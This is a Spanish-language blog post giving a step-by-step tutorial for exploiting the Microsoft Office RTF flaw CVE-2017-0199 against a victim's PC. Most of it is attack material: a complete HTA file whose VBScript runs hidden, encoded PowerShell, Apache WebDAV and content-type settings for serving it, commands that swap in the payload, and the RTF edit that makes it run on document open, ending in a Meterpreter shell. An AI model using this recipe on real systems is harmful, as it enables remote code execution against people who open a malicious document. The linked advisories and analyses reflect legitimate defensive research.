Showing posts with label rtf. Show all posts
Showing posts with label rtf. Show all posts

Sunday, September 24, 2017

Explotación práctica de CVE 2017 0199 Windows RTF RCE

Explotación práctica de CVE 2017 0199 Windows RTF RCE


Red teams, juakers y dem�s fauna est�n enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a trav�s de dominios internos, literalmente est�n lloviendo shells�

Si record�is, la vulnerabilidad etiquetada como CVE-2017-0199 naci� como un 0-day que explotaba las �ltimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la Rep�blica de Donestk y que compromet�a el PC de la v�ctima con s�lo abrirlo (permit�a RCE). Luego se us� tambi�n para instalar malware como Latentbot y en campa�as del troyano bancario Dridex, aunque hasta ahora no hab�a mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios est�n reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como dec�a al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones �hasta la cocina�.

Uno de los m�s "did�cticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el c�digo fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar autom�ticamente el objeto OLE

Ech�mosle un vistazo a c�mo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicaci�n HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html >

  <head>

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>Bonjour
    </title>

    <script language="VBScript">
      Set owFrClN0giJ = CreateObject("Wscript.Shell")
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
      End If

    </script>
    <hta:application

                     id="oHTA"
                     applicationname="Bonjour"
                     application="yes"
                     >

    </hta:application>
  </head>
  <div>

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">

    </object>
  </div>  
  <body>
  </body>
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase �This is my official and legit content�)

Ll�malo "ms.rtf"

Paso 3

Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html

Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
 a2enmod dav  
 a2enmod dav_fs
 a2enmod dav_lock
 a2enmod headers
 service apache2 restart

Luego las siguientes directivas:

- A�adir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petici�n PROPFIND realizada por Microsoft Office

Modifica virtualhost e incluye:
 <Directory /var/www/html/ms/> 
 Header set Content-Type "application/rtf"
 </Directory>
 <Directory />
 Dav on
 </Directory>

service apache2 restart

Paso 4

Crea un simple documento RTF con Winword "exploit.rtf" �Ese ser� el exploit!

Insertar -> Objeto


Despu�s de hacer clic en Aceptar, ver�s el contenido del archivo "ms.rtf" con el texto,

Guarda el archivo como "exploit.rtf"



En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...

Paso 5

El siguiente paso ser�:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviar� un tipo de contenido "application/hta" ... esto ser� interpretado por el cliente Winword que ejecutar� mshta para manejar este tipo de contenido y ejecutar el payload

 cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  

 vi /etc/apache2/sites-enables/000-default

 Cambia -> application/rtf a application/hta

 como:

 <Directory /var/www/html/ms/>
 Header set Content-Type "application/hta"
 </Directory>

 service apache2 restart

Paso 6

En este paso, si el usuario abre el archivo "exploit.rtf", tendr� que hacer doble clic en el objeto del enlace para lanzar el ataque ...

Si queremos que el objeto OLE se cargue autom�ticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:

objectobjautlink sltpictobjw9073objh509(*
a
objectobjautlinkobjupdate sltpict��������..

En este paso se construye el exploit.

Explotaci�n:

Una vez que el usuario abre el documento el objeto OLE se actualiza a trav�s del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el c�digo!

Ya tenemos Meterpreter


No nos importa la advertencia ya que el c�digo ya se ha ejecutado ...


Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/


download file now

Read more »